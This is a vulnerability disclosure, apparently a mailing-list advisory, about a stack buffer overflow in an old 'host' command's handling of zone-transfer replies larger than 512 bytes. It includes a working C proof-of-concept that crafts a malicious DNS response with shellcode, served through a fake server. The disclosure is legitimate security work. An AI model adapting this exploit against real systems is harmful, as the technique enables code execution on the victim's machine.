Synopsis
--------

Old versions of the 'host' command, contain
an exploitable buffer overflow. Sorry if this
is already known, it seems an old problem
but I failed searching it in the bugtraq archives.

Versions
--------

The version affected is the following:
static char rcsid[] = "$Id: host.c,v 8.21 1998/03/19 19:31:25 halley Exp $";

Maybe some newer version (but not the current), probably
older versions.

Description
-----------

The host command can be used to perform the AXFR request
to obtain the zone transfer of some domain. UDP DNS messages
are limited to 512 bytes, TCP DNS messages to 65535 bytes.
Vulnerable versions of the host command perform the AXFR
query using TCP but write the received data to a stack
allocated buffer of 512 bytes. If the server send a message
bigger than 512 bytes the return address of the function
can be modified. This can be reproduced using the host command
with the syntax and the proof of concepts exploit
attached blow:

command line:

./host -l -v -t any somezone.org <fake server>

proof of concepts exploit:

/* hostexp.c
 * cc hostexp.c -o hostexp
 *
 * usage: ./hostexp | nc -l -p 53
 */

#include <stdio.h>
#include <netinet/in.h>

int main(void)
{
        int offset = 140;
        unsigned int base = 0xbffff74c+offset, i;
        char shellcode[] = /* 48 bytes, ripped */
        "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
        "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
        "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
        "\xff\xff/bin/ls";
        unsigned short a = htons(1024);
        char buffer[1026];

        memcpy(buffer, &a, 2);
        memset(buffer+2, 'A', 100); /* avoid response processing */
        memset(buffer+102, 0x90, 100);
        memcpy(buffer+202, shellcode, 48);
        for (i = 202+48; i < 202+48+600; i+=4)
                memcpy(buffer+i, &base, 4);
        write(fileno(stdout), buffer, 1026);
        return 0;
}

regards,
antirez

--
Salvatore Sanfilippo
antirez@invece.org